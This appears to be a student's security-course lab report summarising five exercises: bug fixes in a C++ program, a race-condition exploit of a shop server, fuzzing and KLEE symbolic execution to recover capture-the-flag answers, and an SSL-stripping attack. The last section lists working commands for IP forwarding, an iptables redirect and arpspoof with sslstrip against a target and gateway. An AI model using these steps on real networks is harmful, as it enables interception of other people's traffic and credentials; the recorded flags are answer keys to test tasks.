Assignment #3

B05902120 / Yu-Ting, TSENG

Jun 23, 2019

My First Project

Platform: Linux (Workstation)

Language: C++

The first bug is caused by negative input index. This is because that our condition to judge index only consider it to be smaller than `MAX` but not testing whether it is positive or not. The second bug is that if we edit a PM twice, the program would lead to double free. Therefore, we change the ways for passing the parameters, instead of using variable, we use pointer. The third one is that if we enter a long name for project, the program would core dump. We might restrict the length of project name to be 64.

Pokemon Master

Platform: Unix (Macbook)

Language: Python 2.7

Flag: BALSN{T0CT0U/R4CE_C0NDI7I0N_I5_50_IN7ERE57ING}

Look deep into the source code, we might find that the way server update our balance is to write to a file. This indicates that if we can successfully buy 4 pokemons, if we buy them simultaneously. As a result, we import the library "threading". And get the html text at last, which includes the flag.

Fuzz it!

Platform: Unix (Macbook)

Language: Python 3.6

Flag1: BALSN{This_!5_7h3_34sy_onE}

Flag2: BALSN{FUzziNG_i5_S0_Fun!}

Flag3: BALSN{G0od_LucK_K33P_Try!nG}

Flag4: BALSN{FuzZZZzzzZZzzZzZZZZZzz!nGGG}

FLag5: BALSNN0w_Y0u_UnD3RS7aND_H0w_Fuzz3r_W0rK_=

What we need to do is randomly fuzzing a string based on which explored new area. I do not use the "radamza"; instead, I take use of the library "fuzzing". I record all the area that I have explored. If the new area is found, update my basic string and execute fuzzing based on the new string. Worth mentioning is that if we input `$k * 20`, `$k = chr(1 255)`, we might observe three different flags.

Symbolic Execution

Platform: Docker (with KLEE)

Language: C

Flag: BALSN{P4tH_3xpl0s!oN_b0oo0oO0o0oOO0ooOM}

The concept is to mediate the situation of path explosion, therefore, we change all the condition similar to `if (buf[k] == "-")` to `if (k == 8 || ...)`. The reason is to reduce the if condition that related to the content of `buf`. Another worth noting thing is to add `klee_assert(0)` if we successfully find the correct inputs. Eventually, we can look up the result by `klee-tools` and get the input `2b59e59e-0c25-421c-96d1-46 70f6baee01ffffffffffffffffffffff` then a flag, in turns.

SSL Stripping

Platform: Kali (VMWare)

Language: Python 2.7

Reference: https://www.youtube.com/watch?v=OtO92bL6pYEfbclid=IwAR3fz5ly-YU9 58lmtPefiDTSNY05_5fV4HmQxX3QFPbDGhSth2YY-0uVIJs

We first enable ip forwarding so that our computer can route traffic,

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

for one who can't modified the file, you can use the commands below instead:

```
vim /etc/sysctl.conf
net.ipv4.ip_forward=1
sysctl -p
```

The next step is to enable computer to redirect traffic,

```
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
                                        REDIRECT --to-port 8080
```

Eventually we can start our proof to redirect http traffic to our IP.

```
arpspoof -i [interface] -t [target] -r [gateway] sslstrip -l 8080
```

We can authenticate whether we successfully attack by, `cat sslstrip.log`.